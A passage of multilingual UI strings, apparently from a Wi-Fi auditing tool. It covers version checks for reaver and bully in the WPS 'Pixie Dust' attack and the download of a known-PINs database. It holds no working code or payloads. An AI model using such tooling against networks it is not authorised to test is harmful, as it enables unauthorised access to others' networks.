arr["CHINESE",365]="信道自动修改为 \${normal_color}\${wps_channel}" arr["ENGLISH",366]="No filters enabled on scan. When started, press [Ctrl+C] to stop..." arr["SPANISH",366]="No hay filtros activados en el escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",366]="Aucun filtre activé dans le scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",366]="No hi ha filtres activats en l'escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." arr["PORTUGUESE",366]="Nenhum filtro ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",366]="В сканировании не активированы фильтры. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",366]="Δεν έχουν ενεργοποιηθεί φίλτρα στη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." arr["ITALIAN",366]="Nessun filtro attivato nella scansione. Una volta avviata, premere [Ctrl+C] per fermarla..." arr["POLISH",366]="W skanowaniu nie zostały włączone żadne filtry. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["GERMAN",366]="Es sind keine aktivierten Filter im Scan vorhanden. Nach dem Start, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",366]="Taramada filtre yok. Başladıktan sonra, durdurmak için [Ctrl+C] tuşlayınız..." arr["ARABIC",366]="...لإيقافها [Ctrl+C] لم يتم تنشيط أي مرشح في الفحص. بمجرد بدء العملية ، يرجى الضغط على" arr["CHINESE",366]="扫描时未启用过滤器。按 [Ctrl+C] 停止扫描" arr["ENGLISH",367]="You have bully installed (v\${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v\${minimum_bully_pixiewps_version}" arr["SPANISH",367]="Tienes bully instalado (v\${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v\${minimum_bully_pixiewps_version}" arr["FRENCH",367]="Bully est installé (v\${bully_version}) mais ce n'est pas la bonne version. Vous devez avoir au moins la version v\${minimum_bully_pixiewps_version} pour la compatibilité Pixie Dust" arr["CATALAN",367]="Tens bully instal·lat (v\${bully_version}), encara que no és la versió requerida. Per realitzar l'atac Pixie Dust integrat amb bully has de tenir almenys la versió v\${minimum_bully_pixiewps_version}" arr["PORTUGUESE",367]="Você tem o bully instalado (v\${bully_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com bully você precisa ter pelo menos a versão v\${minimum_bully_pixiewps_version}" arr["RUSSIAN",367]="У вас установлен bully (v\${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v\${minimum_bully_pixiewps_version}" arr["GREEK",367]="Έχετε εγκατεστημένο το bully (v\${bully_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο bully θα πρέπει να έχετε τουλάχιστον την έκδοση v\${minimum_bully_pixiewps_version}" arr["ITALIAN",367]="È stato installato bully (v\${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con bully devi avere almeno la versione v\${minimum_bully_pixiewps_version}" arr["POLISH",367]="Masz zainstalowane bully (v\${bully_version}), ale nie wymaganą wersję. Aby atak Pixie Dust był zintegrowany z bully, musisz mieć co najmniej wersję v\${minimum_bully_pixiewps_version}" arr["GERMAN",367]="Sie haben Bully installiert (v\${bully_version}), obwohl nicht die erforderliche Version. Um den Pixie Dust Angriff mit Bully zu integrieren, müssen Sie mindestens die Version v\${minimum_bully_pixiewps_version} haben" arr["TURKISH",367]="Bully versiyonunuz (v\${bully_version}), ama istenilen versiyon değil. Pixie Dust entegreli bully saldırısı yapmak için en az versiyona sahip olmalısınız v\${minimum_bully_pixiewps_version}" arr["ARABIC",367]="v\${minimum_bully_pixiewps_version} يجب أن يكون لديك على الأقل الإصدار ،integrated bully Pixie Dust لكن ليس الإصدار المطلوب. لتنفيذ هجوم ،(v\${bully_version}) لقد قمت بتثبيت" arr["CHINESE",367]="您已安装 bully (v\${bully_version}),但不是必需的版本。要执行 Pixie Dust 集成欺凌攻击您必须至少具有版本 v\${minimum_bully_pixiewps_version}" arr["ENGLISH",368]="You have bully installed (v\${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v\${minimum_bully_pixiewps_version}). Script can continue..." arr["SPANISH",368]="Tienes bully instalado (v\${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v\${minimum_bully_pixiewps_version}). El script puede continuar..." arr["FRENCH",368]="Bully est installé (v\${bully_version}). Cette version est compatible avec l'attaque Pixie Dust (version minimale v\${minimum_bully_pixiewps_version}). Le script peut continuer..." arr["CATALAN",368]="Tens bully instal·lat (v\${bully_version}). Compleixes amb el requisit de versió per realitzar l'atac Pixie Dust integrat amb bully (versió mínima v\${minimum_bully_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",368]="Você tem o bully instalado (v\${bully_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com bully (versão mínima v\${minimum_bully_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",368]="У вас установлен bully (v\${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v\${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",368]="Έχετε εγκατεστημένο το bully (v\${bully_version}). Έχετε την απαραίτητη έκδοση bully (ελάχιστη έκδοση v\${minimum_bully_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο bully. Το script μπορεί να συνεχίσει..." arr["ITALIAN",368]="È stato installato bully (v\${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con bully (versione minima v\${minimum_bully_pixiewps_version}). Lo script può continuare..." arr["POLISH",368]="Masz zainstalowany bully (v\${bully_version}). Spełnia ona wymagania wersji, aby atak Pixie Dust był zintegrowany z bully (wersja minimalna v\${minimum_bully_pixiewps_version}). Skrypt może kontynuować..." arr["GERMAN",368]="Sie haben bully installiert (v\${bully_version}). Du erfüllst die Versionsvoraussetzung, um den mit dem bully integrierten Pixie Dust-Angriff auszuführen (Mindestversion v\${minimum_bully_pixiewps_version}). Das Skript kann fortfahren..." arr["TURKISH",368]="Bully versiyonunuz (v\${bully_version}), İstenilen versiyon karşılanıyor (minimum version v\${minimum_bully_pixiewps_version}) ve Pixie Dust entegreli bully saldırısı yapmak için yazılım devam edebilir..." arr["ARABIC",368]="...البرنامج يمكن أن يستمر .(v\${minimum_bully_pixiewps_version} الحد الأدنى من الإصدار) Pixie Dust integrated bully attack أنت تفي بمتطلبات الإصدار لأداء هجوم الفتوة .(v\${bully_version}) لقد قمت بتثبيت" arr["CHINESE",368]="你已经安装了 bully (v\${bully_version})。您满足执行 Pixie Dust 集成欺凌攻击的版本要求 (最低版本 v\${minimum_bully_pixiewps_version}) 。脚本可以继续..." arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least \${minimum_reaver_pixiewps_version} version for reaver and \${minimum_bully_pixiewps_version} for bully" arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión \${minimum_reaver_pixiewps_version} para reaver y \${minimum_bully_pixiewps_version} para bully" arr["FRENCH",369]="Les versions minimales requises de reaver et bully pour l'attaque pixie wps sont reaver \${minimum_reaver_pixiewps_version} et bully \${minimum_bully_pixiewps_version}" arr["CATALAN",369]="Per realitzar l'atac Pixie Dust integrat amb reaver o amb bully, has de tenir instal·lada com a mínim la versió \${minimum_reaver_pixiewps_version} per reaver i \${minimum_bully_pixiewps_version} per bully" arr["PORTUGUESE",369]="Para executar o ataque Pixie Dust com reaver ou bully, é necessário ter instalado pelo menos a versão \${minimum_reaver_pixiewps_version} para o reaver e \${minimum_bully_pixiewps_version} para o bully" arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия \${minimum_reaver_pixiewps_version} для reaver и \${minimum_bully_pixiewps_version} для bully" arr["GREEK",369]="Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver ή bully, θα πρέπει να έχετε εγκαταστημένη τουλάχιστον την έκδοση \${minimum_reaver_pixiewps_version} για reaver και \${minimum_bully_pixiewps_version} για bully" arr["ITALIAN",369]="Per realizzare l'attacco Pixie Dust integrato con reaver o bully, deve essere installata almeno la versione \${minimum_reaver_pixiewps_version} per reaver e la versione \${minimum_bully_pixiewps_version} per bully" arr["POLISH",369]="Aby przeprowadzić zintegrowany atak Pixie Dust z użyciem reaver lub z bully, musisz mieć zainstalowaną co najmniej wersję \${minimum_reaver_pixiewps_version} reaver i \${minimum_bully_pixiewps_version} bully" arr["GERMAN",369]="Um den mit dem reaver oder mit bully integrierten Pixie Dust-Angriff auszuführen, müssen Sie mindestens die Reaver Version \${minimum_reaver_pixiewps_version} und die Bully Version \${minimum_bully_pixiewps_version} installiert haben" arr["TURKISH",369]="Reaver veya bully ile Pixie Dust entegre saldırısını gerçekleştirmek için, reaver için en az \${minimum_reaver_pixiewps_version} sürümü ve kabadayılık için \${minimum_bully_pixiewps_version} yüklemiş olmanız gerekir" arr["ARABIC",369]="bully ل \${minimum_bully_pixiewps_version} و reaver إصدار لـ \${minimum_reaver_pixiewps_version} أو الفتوة ، يجب أن تكون قد قمت بتثبيت ما لا يقل عن Reaver باستخدام Pixie Dust integrated لتنفيذ هجوم" arr["CHINESE",369]="要使用 reaver 或 bully 执行 Pixie Dust 集成攻击,您必须至少为 reaver 安装 \${minimum_reaver_pixiewps_version} 版本,为 bully 安装 \${minimum_bully_pixiewps_version}" arr["ENGLISH",370]="You have reaver installed (v\${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v\${minimum_reaver_pixiewps_version}). Script can continue..." arr["SPANISH",370]="Tienes reaver instalado (v\${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v\${minimum_reaver_pixiewps_version}). El script puede continuar..." arr["FRENCH",370]="Reaver est installé (v\${reaver_version}). Cette version est compatible avec l'attaque Pixie Dust (version minimale: \${minimum_reaver_pixiewps_version}). Le script peut continuer..." arr["CATALAN",370]="Tens reaver instal·lat (v\${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb reaver (versió mínima v\${minimum_reaver_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",370]="Você tem o reaver instalado (v\${reaver_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com reaver (versão mínima v\${minimum_reaver_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",370]="У вас установлен reaver (v\${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v\${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v\${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v\${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",370]="È stato installato reaver (v\${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con reaver (versione minima v\${minimum_reaver_pixiewps_version}). Lo script può continuare..." arr["POLISH",370]="Masz zainstalowany reaver (v\${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak Pixie Dust (wersja minimalna v\${minimum_reaver_pixiewps_version}). Skrypt może kontynuować..." arr["GERMAN",370]="Reaver ist installiert (v\${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Pixie Dust-Angriff auszuführen, der mit Reaver integriert ist (min Version v\${minimum_reaver_pixiewps_version}). Das Skript kann fortfahren..." arr["TURKISH",370]="Reaver sisteminizde kurulu (v\${reaver_version}). Pixie Dust entegre reaver saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v\${minimum_reaver_pixiewps_version}). Script devam edebilir..." arr["ARABIC",370]="...البرنامج يمكن أن يستمر .(v\${minimum_reaver_pixiewps_version}لحد الأدنى من الإصدار) Pixie Dust integrated reaver أنت تفي بمتطلبات الإصدار لتنفيذ هجوم .(v\${reaver_version}) لقد قمت بتثبيت" arr["CHINESE",370]="你已经安装了 reaver (v\${reaver_version})。您满足执行 Pixie Dust 集成掠夺者攻击的版本要求 (最低版本 v\${minimum_reaver_pixiewps_version}) 。脚本可以继续..." arr["ENGLISH",371]="You have reaver installed (v\${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v\${minimum_reaver_pixiewps_version}" arr["SPANISH",371]="Tienes reaver instalado (v\${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v\${minimum_reaver_pixiewps_version}" arr["FRENCH",371]="Reaver est installé (v\${reaver_version}) mais cette version n'est pas compatible avec l'attaque Pixie Dust. Version minimale requise: v\${minimum_reaver_pixiewps_version}" arr["CATALAN",371]="Tens reaver instal·lat (v\${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac Pixie Dust integrat amb reaver has de tenir almenys la versió v\${minimum_reaver_pixiewps_version}" arr["PORTUGUESE",371]="Você tem o reaver instalado (v\${reaver_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com reaver integrado você precisa ter pelo menos a versão v\${minimum_reaver_pixiewps_version}" arr["RUSSIAN",371]="У вас установлен reaver (v\${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v\${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v\${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v\${minimum_reaver_pixiewps_version}" arr["ITALIAN",371]="È stato installato reaver (v\${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v\${minimum_reaver_pixiewps_version}" arr["POLISH",371]="Masz zainstalowany reaver (v\${reaver_version}), ale nie wymaganą wersję. Aby zrealizować atak Pixie Dust zintegrowany z programem reaver musisz mieć co najmniej wersję v\${minimum_reaver_pixiewps_version}" arr["GERMAN",371]="Reaver ist installiert (v\${reaver_version}), jedoch nicht die erforderliche Version. Um den Pixie Dust-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v\${minimum_reaver_pixiewps_version} haben" arr["TURKISH",371]="Reaver sisteminizde kurulu (v\${reaver_version}), ancak sürüm uygun değil. Pixie Dust entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan \${minimum_reaver_pixiewps_version} olmalıdır" arr["ARABIC",371]="v\${minimum_reaver_pixiewps_version}يجب أن يكون لديك على الأقل الإصدار ،Pixie Dust integrated reaver لكن ليس الإصدار المطلوب. لتنفيذ هجوم ،(v\${reaver_version}) لقد قمت بتثبيت" arr["CHINESE",371]="您已经安装了 reaver (v\${reaver_version}),但不是必需的版本。要执行 Pixie Dust 集成掠夺者攻击,您必须至少具有版本 v\${minimum_reaver_pixiewps_version}" arr["ENGLISH",372]="This action can't be performed without known PINs database file" arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar esta acción" arr["FRENCH",372]="Sans la base donées des PINs cette action ne peut pas être exécutée" arr["CATALAN",372]="Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquesta acció" arr["PORTUGUESE",372]="Esta ação não pode ser executada sem o arquivo com banco de dados de PINs conhecidos" arr["RUSSIAN",372]="Это действие не может быть выполнено без файла базы данных известных PIN" arr["GREEK",372]="Αυτή η ενέργεια δεν μπορεί να πραγματοποιηθεί χωρίς να υπάρχει το αρχείο με την βάση δεδομένων γνωστών PIN" arr["ITALIAN",372]="Senza il file del database dei PIN conosciuti non si puó eseguire questa azione" arr["POLISH",372]="Ta czynność nie może zostać zrealizowana bez bazy danych znanych kodów PIN" arr["GERMAN",372]="Ohne eine Datenbankdatei mit bekannten PINs kann diese Aktion nicht ausgeführt werden" arr["TURKISH",372]="Bu işlem bilinen PIN veritabanı dosyası olmadan gerçekleştirilemez" arr["ARABIC",372]="PINs لا يمكن تنفيذ هذا الإجراء بدون ملف قاعدة بيانات" arr["CHINESE",372]="如果没有已知的 PIN 数据库文件,则无法执行此操作" arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." arr["FRENCH",373]="La base de données PIN est bien présente. Le script peut continuer..." arr["CATALAN",373]="S'ha trobat el fitxer de base de dades de PINs coneguts. El script pot continuar..." arr["PORTUGUESE",373]="Há um arquivo com banco de dados de PINs conhecidos. O script pode continuar..." arr["RUSSIAN",373]="Файл с базой данных известных PIN существует. Скрипт может продолжать..." arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." arr["ITALIAN",373]="Esiste il file di base dati dei PINs conosciuti. Lo script può continuare..." arr["POLISH",373]="Znaleziono plik bazy danych znanych PIN. Skrypt może kontynuować..." arr["GERMAN",373]="Die Datenbankdatei mit bekannte PINs ist vorhanden. Das Skript kann fortfahren..." arr["TURKISH",373]="Bilinen PIN'ler veritabanı dosyası mevcut. Komut dosyası devam edebilir..." arr["ARABIC",373]="...البرنامج يمكن أن يستمر .PINs يوجد ملف قاعدة بيانات" arr["CHINESE",373]="存在已知的 PIN 数据库文件。脚本可以继续..." arr["ENGLISH",374]="Local PINs database file (\${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (\${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" arr["FRENCH",374]="Base de donnée PIN (\${known_pins_dbfile}) absente du dossier contenant le script. Tentative de téléchargement" arr["CATALAN",374]="No s'ha pogut trobar el fitxer local de la base de dades de PINs (\${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" arr["PORTUGUESE",374]="Não foi possível localizar o arquivo (\${known_pins_dbfile}) com banco de dados local na pasta do script. O script vai tentar realizar o download" arr["RUSSIAN",374]="Локальный файл базы данных PIN (\${known_pins_dbfile}) не найден в папке скрипта. Будет предпринята попытка загрузить его" arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (\${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" arr["ITALIAN",374]="Impossibile trovare il file di base dati con i PINs conosciuti (\${known_pins_dbfile}) nella cartella dello script. Cercheremo di scaricarla" arr["POLISH",374]="Nie znaleziono lokalnej bazy danych bazy danych kodów PIN (\${known_pins_dbfile}) w folderze skryptu. Spróbuję go pobrać" arr["GERMAN",374]="Die lokale Datei der PIN-Datenbank (\${known_pins_dbfile}) konnte im Skriptordner nicht gefunden werden. Versuch zum Herunterladen" arr["TURKISH",374]="Yerel PIN'ler veritabanı dosyası (\${known_pins_dbfile}) komut dosyası klasöründe bulunamadı. İndirilmeye çalışılacak" arr["ARABIC",374]="في مجلد البرنامج. ستتم محاولة تنزيله (\${known_pins_dbfile}) المحلية PINs لا يمكن العثور على ملف قاعدة بيانات" arr["CHINESE",374]="在脚本文件夹中找不到本地 PIN 数据库文件 (\${known_pins_dbfile})。它将尝试下载" arr["ENGLISH",375]="It seems you have no internet access" arr["SPANISH",375]="Parece que no tienes conexión a internet" arr["FRENCH",375]="Il semble que vous ne pouvez pas vous connecter à internet" arr["CATALAN",375]="Sembla que no tens connexió a internet" arr["PORTUGUESE",375]="Parece que você não tem acesso à internet" arr["RUSSIAN",375]="Судя по всему, у вас нет Интернет доступа" arr["GREEK",375]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο" arr["ITALIAN",375]="Sembra che tu non abbia connessione a internet" arr["POLISH",375]="Wygląda na to, że nie masz połączenia internetowego" arr["GERMAN",375]="Es scheint, dass Sie keine Internetverbindung haben" arr["TURKISH",375]="Görünüşe göre internet erişiminiz yok" arr["ARABIC",375]="يبدو لم يكن لديك اتصال بالإنترنت" arr["CHINESE",375]="您似乎无法访问互联网" arr["ENGLISH",376]="Local PINs database file (\${known_pins_dbfile}) was found. Anyway a check for a newer will be performed" arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (\${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" arr["FRENCH",376]="Base de données PIN (\${known_pins_dbfile}) présente. Recherche d’éventuelles actualisations" arr["CATALAN",376]="S'ha trobat un fitxer local de base de dades de PINs (\${known_pins_dbfile}). No obstant, es comprovarà si existeix algun més actualitzat" arr["PORTUGUESE",376]="Um banco de dados local de PINs foi encontrado (\${known_pins_dbfile}). No entanto, será verificado se existe um mais atualizado" arr["RUSSIAN",376]="Локальный файл базы данных PIN (\${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на наличие новой версии" arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (\${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" arr["ITALIAN",376]="Trovato un file locale di base dati dei PINs (\${known_pins_dbfile}). Tuttavia sarà verificato se ne esiste uno più aggiornato" arr["POLISH",376]="Odnaleziono lokalny plik bazy danych PIN (\${known_pins_dbfile}). Sprawdzę jednak, czy jest bardziej aktualna wersja" arr["GERMAN",376]="Eine lokale Datenbankdatei mit PINs (\${known_pins_dbfile}) wurde gefunden. Es wird jedoch geprüft, ob es eine Aktualisierung gibt" arr["TURKISH",376]="Yerel PIN'ler veritabanı dosyası (\${known_pins_dbfile}) bulundu. Her neyse yeni bir kontrol yapılacaktır" arr["ARABIC",376]="موجودة. البحث عن تحديثات مفعلة (\${known_pins_dbfile}) قاعدة بيانات" arr["CHINESE",376]="已找到本地 PIN 数据库文件 (\${known_pins_dbfile})。执行更新检查" arr["ENGLISH",377]="An up-to-date PINs database file has been successfully downloaded" arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs actualizado" arr["FRENCH",377]="La base de données a été actualisée" arr["CATALAN",377]="S'ha descarregat amb èxit un fitxer de base de dades de PINs actualitzat" arr["PORTUGUESE",377]="O banco de dados foi atualizado com sucesso" arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" arr["ITALIAN",377]="È stato scaricato con successo un file di base dati dei PINs aggiornato" arr["POLISH",377]="Nowszy plik bazy danych PIN został pomyślnie pobrany" arr["GERMAN",377]="Eine PIN-Datenbankdatei wurde erfolgreich heruntergeladen" arr["TURKISH",377]="Daha bir PIN veritabanı dosyası başarıyla indirildi" arr["ARABIC",377]="المحدّث PINs تم بنجاح تنزيل ملف قاعدة بيانات" arr["CHINESE",377]="已成功下载最新的 PIN 数据库文件" arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" arr["FRENCH",378]="Erreur lors du téléchargement de l'actualisation de la base de données" arr["CATALAN",378]="S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" arr["PORTUGUESE",378]="Ocorreu um erro ao tentar atualizar o banco de dados" arr["RUSSIAN",378]="При попытке загрузить файл базы данных PIN произошла ошибка" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",378]="Si è verificato un errore durante il tentativo di scaricare i file di base dati dei PINs" arr["POLISH",378]="Podczas próby pobrania pliku bazy danych kodów PIN wystąpił błąd" arr["GERMAN",378]="Beim Versuchdes runterladens der PIN-Datenbankdatei ist ein Fehler aufgetreten" arr["TURKISH",378]="PINs veritabanı dosyasını indirmeye çalışırken bir hata oluştu" arr["ARABIC",378]="PIN حدث خطأ أثناء محاولة تنزيل ملف قاعدة بيانات" arr["CHINESE",378]="尝试下载 PIN 数据库文件时出错" arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." arr["FRENCH",379]="La vérification de la base de données a été faite et ne sera plus relancée" arr["CATALAN",379]="La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." arr["PORTUGUESE",379]="Verificando os PINs do banco de dados. Isso não vai ser feito novamente..." arr["RUSSIAN",379]="Уже выполнена проверка файла базы данных PIN. Она не будет делаться ещё раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." arr["ITALIAN",379]="Il controllo del file di base dati dei PINs è già stato eseguito. Non sarà più fatto..." arr["POLISH",379]="Sprawdzenie pliku bazy danych PIN zostało już wykonane. To się nie powtórzy..." arr["GERMAN",379]="Die Überprüfung der PIN-Datenbankdatei wurde bereits durchgeführt. Es wird nicht wieder getan..." arr["TURKISH",379]="PIN veritabanı dosyasının kontrolü zaten yapıldı. Bir daha yapılmayacak..." arr["ARABIC",379]="...لن يتم ذلك مرة أخرى .PIN تم بالفعل التحقق من ملف قاعدة بيانات" arr["CHINESE",379]="PIN 数据库文件的检查已经完成。" arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? \${normal_color}\${visual_choice}" arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? \${normal_color}\${visual_choice}" arr["FRENCH",380]="La prochaine fois que vous relancez cette attaque pendant cette session, voulez-vous oui ou non \${visual_choice} que l'actualisation soit lancée? \${normal_color}\${visual_choice}" arr["CATALAN",380]="¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",380]="Você quer buscar por atualizações na próxima vez que iniciar este ataque nessa sessão? \${normal_color}\${visual_choice}" arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? \${normal_color}\${visual_choice}" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; \${normal_color}\${visual_choice}" arr["ITALIAN",380]="Desideri che la prossima volta che viene lanciato questo attacco in questa sessione si tenti di nuovo? \${normal_color}\${visual_choice}" arr["POLISH",380]="Czy chcesz spróbować ponownie tego ataku dla tej sesji podczas następnego uruchomienia? \${normal_color}\${visual_choice}" arr["GERMAN",380]="Möchten Sie beim nächsten Start dieses Angriffs in dieser Sitzung erneut versuchen? \${normal_color}\${visual_choice}" arr["TURKISH",380]="Bu seans için bu saldırıyı bir daha başlattığınızda tekrar denemek ister misin? \${normal_color}\${visual_choice}" arr["ARABIC",380]="\${normal_color}\${visual_choice} \${green_color}هل تريد أن تجرب مرة أخرى في المرة القادمة كنت اطلاق هذا الهجوم لهذه الدورة؟\${normal_color}" arr["CHINESE",380]="是否要在下次针对此会话发起此攻击时重试?\${normal_color}\${visual_choice}" arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" arr["FRENCH",381]="Erreur de checksum avec la base de données PIN en ligne" arr["CATALAN",381]="S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" arr["PORTUGUESE",381]="Ocorreu um erro ao tentar acessar o arquivo de checksum do banco de dados remoto" arr["RUSSIAN",381]="Произошла ошибка при попытке получить доступ к контрольной сумме файла удаленной базы данных PIN" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" arr["ITALIAN",381]="Si è verificato un errore durante il tentativo di accedere al file di checksum della basse dati dei PINs remota" arr["POLISH",381]="Podczas próby uzyskania dostępu do pliku kontrolnego zdalnej bazy danych PIN wystąpił błąd" arr["GERMAN",381]="Beim Versuch, auf die Checksumme der Remote-PIN-Datenbank zuzugreifen, ist ein Fehler aufgetreten" arr["TURKISH",381]="Uzak PIN'ler veritabanının sağlama dosyasına erişmeye çalışırken bir hata oluştu" arr["ARABIC",381]="البعيدة PINs لقاعدة بيانات checksum حدث خطأ أثناء محاولة الوصول إلى ملف" arr["CHINESE",381]="尝试访问远程 PIN 数据库的校验和文件时出错" arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" arr["FRENCH",382]="Les checksum des fichiers locaux et distants correspondent. Votre base de données des PINs est à jour" arr["CATALAN",382]="Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" arr["PORTUGUESE",382]="As checksums locais e remotas correspondem. Seu banco de dados local está atualizado" arr["RUSSIAN",382]="Контрольные суммы локального и удаленного файлов совпадают. Ваш файл базы данных PIN обновляется" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ITALIAN",382]="I checksum dei file locali e remoti corrispondono. Il file di base dati dei PINs è aggiornato" arr["POLISH",382]="Sprawdzono sumy kontrolne pliku lokalnego i zdalnego. Plik bazy danych kodów PIN jest aktualny" arr["GERMAN",382]="Die Checksumme der lokalen und remote-Dateien stimmen überein. Ihre PIN-Datenbankdatei ist auf dem neuesten Stand" arr["TURKISH",382]="Yerel ve uzak dosyaların sağlama toplamları eşleşir. PIN'leriniz veritabanı dosyanız güncel" arr["ARABIC",382]="الخاص بك 